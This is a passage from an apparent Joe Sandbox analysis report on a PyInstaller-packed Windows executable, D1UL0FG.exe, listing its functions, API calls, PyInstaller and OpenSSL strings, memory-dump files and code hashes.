Associated: 00000005.00000002.3019759926.00007FF67AF12000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3020018200.00007FF67AF14000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff67aed0000_D1UL0FG.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 4f0f6445cfedea8dceb7eb9436a550d57130d2c9509dbddfada5299d94659d4a
Instruction ID: 4d21789b438987d9e33a242363f828b8d2f97b24b93566cdc693db9eb449d521
Opcode Fuzzy Hash: 4f0f6445cfedea8dceb7eb9436a550d57130d2c9509dbddfada5299d94659d4a
Instruction Fuzzy Hash: 92113733628B8182EB609B19F400269B7A0FB88B98F684274DE8D47769EF3CC551CB00

Function 00007FF67AEF07AC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF67AEF07DC
GetDriveTypeW.KERNEL32 ref: 00007FF67AEF081C

Strings

:, xrefs: 00007FF67AEF0805

Memory Dump Source

Source File: 00000005.00000002.3019440736.00007FF67AED1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF67AED0000, based on PE: true

Associated: 00000005.00000002.3019253519.00007FF67AED0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019597939.00007FF67AEFB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF12000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3020018200.00007FF67AF14000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff67aed0000_D1UL0FG.jbxd

Similarity

API ID: DriveType_invalid_parameter_noinfo
String ID: :
API String ID: 2595371189-336475711
Opcode ID: 12447209ac998d916ea5af24bee96286b8310982615a7f3bb8f9e7bff02e83a7
Instruction ID: 8ca7c61e88d1af83991327eecde94ce22566cad148cb600ab8e4541fe47382c9
Opcode Fuzzy Hash: 12447209ac998d916ea5af24bee96286b8310982615a7f3bb8f9e7bff02e83a7
Instruction Fuzzy Hash: E8018F6393C64386FB60BF60A46627E23A0EF84749F8010BAD54DC66E1EF2CE544EF14

Analysis Process: D1UL0FG.exePID: 6716, Parent PID: 5160COMMON

Execution Graph

Execution Coverage:	2.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	1.1%
Total number of Nodes:	743
Total number of Limit Nodes:	25

Executed Functions

Function 00007FF67AED1000 Relevance: 61.8, APIs: 7, Strings: 28, Instructions: 509
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Invalid value in _PYI_PARENT_PROCESS_LEVEL: %s, xrefs: 00007FF67AED3B32
VCRUNTIME140.dll, xrefs: 00007FF67AED3DB1
Failed to initialize security descriptor for temporary directory!, xrefs: 00007FF67AED3C61
pyi-disable-windowed-traceback, xrefs: 00007FF67AED3BB2
pkg, xrefs: 00007FF67AED39BE
Path exceeds PYI_PATH_MAX limit., xrefs: 00007FF67AED3D12
Could not side-load PyInstaller's PKG archive from external file (%s), xrefs: 00007FF67AED39DE
Failed to start splash screen!, xrefs: 00007FF67AED3ED4
Failed to unpack splash screen dependencies from PKG archive!, xrefs: 00007FF67AED3EA6
PYINSTALLER_STRICT_UNPACK_MODE, xrefs: 00007FF67AED3BE8
Failed to remove temporary directory: %s, xrefs: 00007FF67AED3FC3
PYINSTALLER_RESET_ENVIRONMENT, xrefs: 00007FF67AED3882, 00007FF67AED38AF
pyi-python-flag, xrefs: 00007FF67AED3AD6
bye-runtime-tmpdir, xrefs: 00007FF67AED3B68
Failed to load splash screen resources!, xrefs: 00007FF67AED3E85
PYINSTALLER_SUPPRESS_SPLASH_SCREEN, xrefs: 00007FF67AED3E0A
_PYI_APPLICATION_HOME_DIR, xrefs: 00007FF67AED3A0B, 00007FF67AED3CD4, 00007FF67AED3F6B
Failed to convert DLL search path!, xrefs: 00007FF67AED3DDC
Could not load PyInstaller's embedded PKG archive from the executable (%s), xrefs: 00007FF67AED3971
_PYI_ARCHIVE_FILE, xrefs: 00007FF67AED38D2, 00007FF67AED39FF
_PYI_SPLASH_IPC, xrefs: 00007FF67AED3A23, 00007FF67AED3EF5
_PYI_APPLICATION_HOME_DIR not set for onefile child process!, xrefs: 00007FF67AED3D35
Failed to load Tcl/Tk shared libraries for splash screen!, xrefs: 00007FF67AED3EBB
Could not create temporary directory!, xrefs: 00007FF67AED3CBF
MEI, xrefs: 00007FF67AED3933
Py_GIL_DISABLED, xrefs: 00007FF67AED3AF4
_PYI_PARENT_PROCESS_LEVEL, xrefs: 00007FF67AED3A17, 00007FF67AED3A2F, 00007FF67AED3A9B
pyi-contents-directory, xrefs: 00007FF67AED3B8D

Memory Dump Source

Source File: 00000006.00000002.3001876429.00007FF67AED1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF67AED0000, based on PE: true

Associated: 00000006.00000002.3001832554.00007FF67AED0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3001937684.00007FF67AEFB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3002021566.00007FF67AF0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3002021566.00007FF67AF11000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3002115379.00007FF67AF14000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff67aed0000_D1UL0FG.jbxd

Similarity

API ID: ErrorFileLastModuleName
String ID: Could not create temporary directory!$Could not load PyInstaller's embedded PKG archive from the executable (%s)$Could not side-load PyInstaller's PKG archive from external file (%s)$Failed to convert DLL search path!$Failed to initialize security descriptor for temporary directory!$Failed to load Tcl/Tk shared libraries for splash screen!$Failed to load splash screen resources!$Failed to remove temporary directory: %s$Failed to start splash screen!$Failed to unpack splash screen dependencies from PKG archive!$Invalid value in _PYI_PARENT_PROCESS_LEVEL: %s$MEI$PYINSTALLER_RESET_ENVIRONMENT$PYINSTALLER_STRICT_UNPACK_MODE$PYINSTALLER_SUPPRESS_SPLASH_SCREEN$Path exceeds PYI_PATH_MAX limit.$Py_GIL_DISABLED$VCRUNTIME140.dll$_PYI_APPLICATION_HOME_DIR$_PYI_APPLICATION_HOME_DIR not set for onefile child process!$_PYI_ARCHIVE_FILE$_PYI_PARENT_PROCESS_LEVEL$_PYI_SPLASH_IPC$bye-runtime-tmpdir$pkg$pyi-contents-directory$pyi-disable-windowed-traceback$pyi-python-flag
API String ID: 2776309574-3273434969
Opcode ID: c4287787c746abb56e9331fa3c8956d7c4ae80ab217cba986f551fa52fb8bac5
Instruction ID: cafc582e4898b173757be918cddb94462a8f1988d49ae1e67d160993d5bff82a
Opcode Fuzzy Hash: c4287787c746abb56e9331fa3c8956d7c4ae80ab217cba986f551fa52fb8bac5
Instruction Fuzzy Hash: 0A329F23A2C68391FA69BB24D4543B96761AFC4784FA440B6DA4DC32F6EF2CE554E700

Function 00007FF8A92E195B Relevance: 23.5, APIs: 5, Strings: 8, Instructions: 785COMMON

Download Yara Rule

Strings

HEAD , xrefs: 00007FF8A92F0DC3
PUT , xrefs: 00007FF8A92F0DE2
CONNE, xrefs: 00007FF8A92F0DF6
GET , xrefs: 00007FF8A92F0D82
..\s\ssl\record\ssl3_record.c, xrefs: 00007FF8A92F05BC, 00007FF8A92F0E16, 00007FF8A92F0EBE
, xrefs: 00007FF8A92F06A2
@, xrefs: 00007FF8A92F08FD
POST , xrefs: 00007FF8A92F0DA5

Memory Dump Source

Source File: 00000006.00000002.3007572245.00007FF8A92E1000.00000040.00000001.01000000.00000017.sdmp, Offset: 00007FF8A92E0000, based on PE: true

Associated: 00000006.00000002.3007520980.00007FF8A92E0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000006.00000002.3007572245.00007FF8A9354000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000006.00000002.3007572245.00007FF8A9356000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000006.00000002.3007572245.00007FF8A9379000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000006.00000002.3007572245.00007FF8A9384000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000006.00000002.3007572245.00007FF8A938E000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000006.00000002.3007939655.00007FF8A9391000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000006.00000002.3007986367.00007FF8A9393000.00000004.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff8a92e0000_D1UL0FG.jbxd

Similarity

API ID:
String ID: $..\s\ssl\record\ssl3_record.c$@$CONNE$GET $HEAD $POST $PUT
API String ID: 0-352295518
Opcode ID: 3479779f4e97ba25f539c5ee64d721bf2629ffcc85696f0b63aa88c04eb821c1
Instruction ID: d48acc1fe5c589b88c955a977604eeabb911dd1e9e78fbb49505ceccce7fb6d9
Opcode Fuzzy Hash: 3479779f4e97ba25f539c5ee64d721bf2629ffcc85696f0b63aa88c04eb821c1
Instruction Fuzzy Hash: A3729D72A4E682D6FB208E15E4447B937A0EB84BC8F144135DA6D8B78CDFBDD994C700

Function 00007FF67AEF69D4 Relevance: 13.8, APIs: 9, Instructions: 276
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF67AEF6708: _invalid_parameter_noinfo.LIBCMT ref: 00007FF67AEF6749
Part of subcall function 00007FF67AEF6708: _invalid_parameter_noinfo.LIBCMT ref: 00007FF67AEF67C7
Part of subcall function 00007FF67AEF6708: _invalid_parameter_noinfo.LIBCMT ref: 00007FF67AEF6818

CreateFileW.KERNEL32 ref: 00007FF67AEF6ADA
CreateFileW.KERNEL32 ref: 00007FF67AEF6B2A
GetLastError.KERNEL32 ref: 00007FF67AEF6B5A
GetFileType.KERNEL32 ref: 00007FF67AEF6B6F
GetLastError.KERNEL32 ref: 00007FF67AEF6B79
CloseHandle.KERNEL32 ref: 00007FF67AEF6BAC
CloseHandle.KERNEL32 ref: 00007FF67AEF6D0F
CreateFileW.KERNEL32 ref: 00007FF67AEF6D44
GetLastError.KERNEL32 ref: 00007FF67AEF6D53

Memory Dump Source

Source File: 00000006.00000002.3001876429.00007FF67AED1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF67AED0000, based on PE: true

Associated: 00000006.00000002.3001832554.00007FF67AED0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3001937684.00007FF67AEFB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3002021566.00007FF67AF0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3002021566.00007FF67AF11000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3002115379.00007FF67AF14000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff67aed0000_D1UL0FG.jbxd

Similarity

API ID: File$CreateErrorLast_invalid_parameter_noinfo$CloseHandle$Type
String ID:
API String ID: 1617910340-0
Opcode ID: 4205a6958293653b93a25a06bf68436f7b6b11ca03fe036e6858b65a4e3d069e
Instruction ID: 9775d139d67edc4f97f44dc2b06c4b49005f967b52a26ff5bcff6be1e530c7ca
Opcode Fuzzy Hash: 4205a6958293653b93a25a06bf68436f7b6b11ca03fe036e6858b65a4e3d069e
Instruction Fuzzy Hash: 89C1D037B38A8286EB50EFA4D4902AC3761FB49B98B015279DE6E973E4CF38D411D700

Function 00007FF8A8AA6EE0 Relevance: 11.4, APIs: 4, Strings: 2, Instructions: 893librarymemoryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 00007FF8A8AA79F5
GetProcAddress.KERNEL32 ref: 00007FF8A8AA7A1F
VirtualProtect.KERNEL32(?,?,?,00000000), ref: 00007FF8A8AA7AA9
VirtualProtect.KERNEL32 ref: 00007FF8A8AA7AC7

Strings

wB5, xrefs: 00007FF8A8AA6F0B
pkey_poly1305_init, xrefs: 00007FF8A8AA6EFC

Memory Dump Source

Source File: 00000006.00000002.3004955837.00007FF8A8AA6000.00000080.00000001.01000000.00000016.sdmp, Offset: 00007FF8A8750000, based on PE: true

Associated: 00000006.00000002.3002926988.00007FF8A8750000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000006.00000002.3002970846.00007FF8A8751000.00000040.00000001.01000000.00000016.sdmpDownload File
Associated: 00000006.00000002.3002970846.00007FF8A875D000.00000040.00000001.01000000.00000016.sdmpDownload File
Associated: 00000006.00000002.3002970846.00007FF8A87B5000.00000040.00000001.01000000.00000016.sdmpDownload File
Associated: 00000006.00000002.3002970846.00007FF8A87C9000.00000040.00000001.01000000.00000016.sdmpDownload File
Associated: 00000006.00000002.3002970846.00007FF8A87D9000.00000040.00000001.01000000.00000016.sdmpDownload File
Associated: 00000006.00000002.3002970846.00007FF8A87ED000.00000040.00000001.01000000.00000016.sdmpDownload File
Associated: 00000006.00000002.3002970846.00007FF8A899E000.00000040.00000001.01000000.00000016.sdmpDownload File
Associated: 00000006.00000002.3002970846.00007FF8A89A0000.00000040.00000001.01000000.00000016.sdmpDownload File
Associated: 00000006.00000002.3002970846.00007FF8A89CB000.00000040.00000001.01000000.00000016.sdmpDownload File
Associated: 00000006.00000002.3002970846.00007FF8A89FD000.00000040.00000001.01000000.00000016.sdmpDownload File
Associated: 00000006.00000002.3002970846.00007FF8A8A22000.00000040.00000001.01000000.00000016.sdmpDownload File
Associated: 00000006.00000002.3002970846.00007FF8A8A70000.00000040.00000001.01000000.00000016.sdmpDownload File
Associated: 00000006.00000002.3002970846.00007FF8A8A76000.00000040.00000001.01000000.00000016.sdmpDownload File
Associated: 00000006.00000002.3002970846.00007FF8A8A78000.00000040.00000001.01000000.00000016.sdmpDownload File
Associated: 00000006.00000002.3002970846.00007FF8A8A95000.00000040.00000001.01000000.00000016.sdmpDownload File
Associated: 00000006.00000002.3002970846.00007FF8A8AA2000.00000040.00000001.01000000.00000016.sdmpDownload File
Associated: 00000006.00000002.3005011004.00007FF8A8AA8000.00000004.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff8a8750000_D1UL0FG.jbxd

Similarity

API ID: ProtectVirtual$AddressLibraryLoadProc
String ID: pkey_poly1305_init$wB5
API String ID: 3300690313-1105255960
Opcode ID: 586537f4082271bd79903f91da2f6e0ac042010b88824cea82960b6bec6abf0e
Instruction ID: b94739d99f30637368b18d4943dd652dfa178346a2a320cf651b439f4417a8fb
Opcode Fuzzy Hash: 586537f4082271bd79903f91da2f6e0ac042010b88824cea82960b6bec6abf0e
Instruction Fuzzy Hash: CA62332262A59296E7598E38D40127AB7A0F7487C5F045132EADEC3BC4FB3CFA45CB15

Function 00007FF8B90F2F80 Relevance: 6.9, APIs: 4, Instructions: 885librarymemoryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 00007FF8B90F3A95
GetProcAddress.KERNEL32 ref: 00007FF8B90F3AB3
VirtualProtect.KERNEL32(?,?,?,00000000), ref: 00007FF8B90F3B33
VirtualProtect.KERNEL32 ref: 00007FF8B90F3B51

Memory Dump Source

Source File: 00000006.00000002.3009045792.00007FF8B90F2000.00000080.00000001.01000000.00000018.sdmp, Offset: 00007FF8B90E0000, based on PE: true

Associated: 00000006.00000002.3008735851.00007FF8B90E0000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000006.00000002.3008792565.00007FF8B90E1000.00000040.00000001.01000000.00000018.sdmpDownload File
Associated: 00000006.00000002.3008792565.00007FF8B90EC000.00000040.00000001.01000000.00000018.sdmpDownload File
Associated: 00000006.00000002.3008792565.00007FF8B90EE000.00000040.00000001.01000000.00000018.sdmpDownload File
Associated: 00000006.00000002.3008792565.00007FF8B90F1000.00000040.00000001.01000000.00000018.sdmpDownload File
Associated: 00000006.00000002.3010026113.00007FF8B90F4000.00000004.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff8b90e0000_D1UL0FG.jbxd

Similarity

API ID: ProtectVirtual$AddressLibraryLoadProc
String ID:
API String ID: 3300690313-0
Opcode ID: e3da923a961653f7e51c42cb2b61e8afaa56e9ac0760d8dbda0bfdb68c10b2b1
Instruction ID: 92dd807330fe8386ed1084843878383ee63274f160089ecf0f3559cc0e76ac83
Opcode Fuzzy Hash: e3da923a961653f7e51c42cb2b61e8afaa56e9ac0760d8dbda0bfdb68c10b2b1
Instruction Fuzzy Hash: BD62E06262C5D287EB198E3DD4003B9B6A0F7487D5F045536EB9EC3784EA7DEA46CB00

Function 00007FF67AED92F0 Relevance: 3.0, APIs: 2, Instructions: 29COMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNEL32 ref: 00007FF67AED9323
FindClose.KERNEL32 ref: 00007FF67AED9332

Memory Dump Source

Source File: 00000006.00000002.3001876429.00007FF67AED1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF67AED0000, based on PE: true

Associated: 00000006.00000002.3001832554.00007FF67AED0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3001937684.00007FF67AEFB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3002021566.00007FF67AF0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3002021566.00007FF67AF11000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3002115379.00007FF67AF14000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff67aed0000_D1UL0FG.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: f8f1f0d53470ef13f354418d29ecb311e48373b0acb6529cbcbe83ca601eafdf
Instruction ID: d28ffa42b0d84b46a6519afa3a2c2f60d18f75212e6962a0310a220fa363a27b
Opcode Fuzzy Hash: f8f1f0d53470ef13f354418d29ecb311e48373b0acb6529cbcbe83ca601eafdf
Instruction Fuzzy Hash: 4EF06863A3874186FBA09F60B8497667350EBC8764F140775EAAD42BE4DF3CD049DA00

Function 00007FF67AED1950 Relevance: 22.9, APIs: 2, Strings: 11, Instructions: 184
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF67AED7F80: _fread_nolock.LIBCMT ref: 00007FF67AED802A

_fread_nolock.LIBCMT ref: 00007FF67AED1A1B

Part of subcall function 00007FF67AED2910: GetCurrentProcessId.KERNEL32(?,?,?,?,00000000,00000000,?,00000000,00007FF67AED1B6A), ref: 00007FF67AED295E

Strings

calloc, xrefs: 00007FF67AED1A68
Failed to seek to cookie position!, xrefs: 00007FF67AED19EE
Error on file., xrefs: 00007FF67AED1B8D
Could not read full TOC!, xrefs: 00007FF67AED1B55
Could not allocate buffer for TOC!, xrefs: 00007FF67AED1B1B
fseek, xrefs: 00007FF67AED19F5
fread, xrefs: 00007FF67AED1A32, 00007FF67AED1B5C
Failed to read cookie!, xrefs: 00007FF67AED1A2B
MEI, xrefs: 00007FF67AED1991
malloc, xrefs: 00007FF67AED1B22
Could not allocate memory for archive structure!, xrefs: 00007FF67AED1A61

Memory Dump Source

Source File: 00000006.00000002.3001876429.00007FF67AED1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF67AED0000, based on PE: true

Associated: 00000006.00000002.3001832554.00007FF67AED0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3001937684.00007FF67AEFB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3002021566.00007FF67AF0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3002021566.00007FF67AF11000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3002115379.00007FF67AF14000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff67aed0000_D1UL0FG.jbxd

Similarity

API ID: _fread_nolock$CurrentProcess
String ID: Could not allocate buffer for TOC!$Could not allocate memory for archive structure!$Could not read full TOC!$Error on file.$Failed to read cookie!$Failed to seek to cookie position!$MEI$calloc$fread$fseek$malloc
API String ID: 2397952137-3497178890
Opcode ID: 6131f22979fb602daa1a58a3720f236f34d84e0b4625cf851c0130f8f3cebb41
Instruction ID: b2a02993556ecdc16b705cf08276494c7cbd6882b58917f26097cdbe1aa66f93
Opcode Fuzzy Hash: 6131f22979fb602daa1a58a3720f236f34d84e0b4625cf851c0130f8f3cebb41
Instruction Fuzzy Hash: 50819573A2CA8685E764FB24E0402FD23A1EF84784F5444B5E98DC77A5DE3CE585EB40

Function 00007FF67AED1470 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 107
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Failed to extract %s: failed to read data chunk!, xrefs: 00007FF67AED15DF
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF67AED14DE
Failed to extract %s: failed to allocate data buffer (%u bytes)!, xrefs: 00007FF67AED1518
fseek, xrefs: 00007FF67AED14E5
Failed to extract %s: failed to open archive file!, xrefs: 00007FF67AED149F
fread, xrefs: 00007FF67AED15E6
malloc, xrefs: 00007FF67AED151F

Memory Dump Source

Source File: 00000006.00000002.3001876429.00007FF67AED1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF67AED0000, based on PE: true

Associated: 00000006.00000002.3001832554.00007FF67AED0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3001937684.00007FF67AEFB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3002021566.00007FF67AF0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3002021566.00007FF67AF11000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3002115379.00007FF67AF14000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff67aed0000_D1UL0FG.jbxd

Similarity

API ID: CurrentProcess
String ID: Failed to extract %s: failed to allocate data buffer (%u bytes)!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$fread$fseek$malloc
API String ID: 2050909247-3659356012
Opcode ID: 8300a19c8206d2102841afb71172eaa2682942542eff747ed74e125f239e34bf
Instruction ID: 66be77be411398093f21bb916bc5d6cc1e10f5c733e724d9ff00923978f0fc58
Opcode Fuzzy Hash: 8300a19c8206d2102841afb71172eaa2682942542eff747ed74e125f239e34bf
Instruction Fuzzy Hash: 38416F23B2868289FB10FB31A5405B96390FF84794F5449B6ED4D87BB5DE3CE541EB00

Function 00007FF67AED1210 Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 158
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Failed to extract %s: decompression resulted in return code %d!, xrefs: 00007FF67AED141E
Failed to extract %s: inflateInit() failed with return code %d!, xrefs: 00007FF67AED1276
Failed to extract %s: failed to allocate temporary input buffer!, xrefs: 00007FF67AED12BA
Failed to extract %s: failed to allocate temporary output buffer!, xrefs: 00007FF67AED12EF
1.3.1, xrefs: 00007FF67AED1249
malloc, xrefs: 00007FF67AED12C1, 00007FF67AED12F6

Memory Dump Source

Source File: 00000006.00000002.3001876429.00007FF67AED1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF67AED0000, based on PE: true

Associated: 00000006.00000002.3001832554.00007FF67AED0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3001937684.00007FF67AEFB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3002021566.00007FF67AF0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3002021566.00007FF67AF11000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3002115379.00007FF67AF14000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff67aed0000_D1UL0FG.jbxd

Similarity

API ID: CurrentProcess
String ID: 1.3.1$Failed to extract %s: decompression resulted in return code %d!$Failed to extract %s: failed to allocate temporary input buffer!$Failed to extract %s: failed to allocate temporary output buffer!$Failed to extract %s: inflateInit() failed with return code %d!$malloc
API String ID: 2050909247-2813020118
Opcode ID: 0fca6e7335867edc6b8860f5dfbc0b69d345714f0ea111fe4b1d6fcc205b14f0
Instruction ID: 1ec7006b102bf207a0378e5772f1d5a93109ec49e5ea2f35d8cc00beffea3e4f
Opcode Fuzzy Hash: 0fca6e7335867edc6b8860f5dfbc0b69d345714f0ea111fe4b1d6fcc205b14f0
Instruction Fuzzy Hash: 7651D023A2C68285EA60BB22A4003BE6691FF85B94FA44175ED4DC77E5EF3CE541E700

Function 00007FF67AED36B0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 61
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32(?,00007FF67AED3804), ref: 00007FF67AED36E1
GetLastError.KERNEL32(?,00007FF67AED3804), ref: 00007FF67AED36EB

Part of subcall function 00007FF67AED2C50: GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,00007FF67AED3706,?,00007FF67AED3804), ref: 00007FF67AED2C9E
Part of subcall function 00007FF67AED2C50: FormatMessageW.KERNEL32(?,?,?,?,?,?,?,?,00007FF67AED3706,?,00007FF67AED3804), ref: 00007FF67AED2D63
Part of subcall function 00007FF67AED2C50: MessageBoxW.USER32 ref: 00007FF67AED2D99

Strings

Failed to resolve full path to executable %ls., xrefs: 00007FF67AED3739
Failed to convert executable path to UTF-8., xrefs: 00007FF67AED3790
Failed to obtain executable path., xrefs: 00007FF67AED36F3
\\?\, xrefs: 00007FF67AED375A
GetModuleFileNameW, xrefs: 00007FF67AED36FA

Memory Dump Source

Source File: 00000006.00000002.3001876429.00007FF67AED1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF67AED0000, based on PE: true

Associated: 00000006.00000002.3001832554.00007FF67AED0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3001937684.00007FF67AEFB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3002021566.00007FF67AF0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3002021566.00007FF67AF11000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3002115379.00007FF67AF14000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff67aed0000_D1UL0FG.jbxd

Similarity

API ID: Message$CurrentErrorFileFormatLastModuleNameProcess
String ID: Failed to convert executable path to UTF-8.$Failed to obtain executable path.$Failed to resolve full path to executable %ls.$GetModuleFileNameW$\\?\
API String ID: 3187769757-2863816727
Opcode ID: 6d8fde842cedad8fbf80b9c4aa3ce336361ac9392ce2c79ae57a11131fda94fc
Instruction ID: 1068035de5f70f2578dc069b75941140bd83d80a52dbb56b8f66637b006debcc
Opcode Fuzzy Hash: 6d8fde842cedad8fbf80b9c4aa3ce336361ac9392ce2c79ae57a11131fda94fc
Instruction Fuzzy Hash: 98216563B3CA4381FA65BB24E8513B62250BFC8394FA041B6E55DC25F5EF2CE505E740

Function 00007FF67AEEBACC Relevance: 10.8, APIs: 7, Instructions: 290
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF67AEEBEF9

Memory Dump Source

Source File: 00000006.00000002.3001876429.00007FF67AED1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF67AED0000, based on PE: true

Associated: 00000006.00000002.3001832554.00007FF67AED0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3001937684.00007FF67AEFB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3002021566.00007FF67AF0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3002021566.00007FF67AF11000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3002115379.00007FF67AF14000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff67aed0000_D1UL0FG.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 2e9ec559793cd78946ccf1fde0a110b7883fce20fe8558fd890645317879f727
Instruction ID: d0ead601fb27bc2e1149926211b3a1ea62341e7b40367654e4185b2ffb169fc3
Opcode Fuzzy Hash: 2e9ec559793cd78946ccf1fde0a110b7883fce20fe8558fd890645317879f727
Instruction Fuzzy Hash: 53C1F633A2C68781F760AB1594402BD77A4FB81B80F5582B1EA8E877F1CF7DE8459700

Function 00007FF67AED6350 Relevance: 10.6, APIs: 1, Strings: 6, Instructions: 82
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

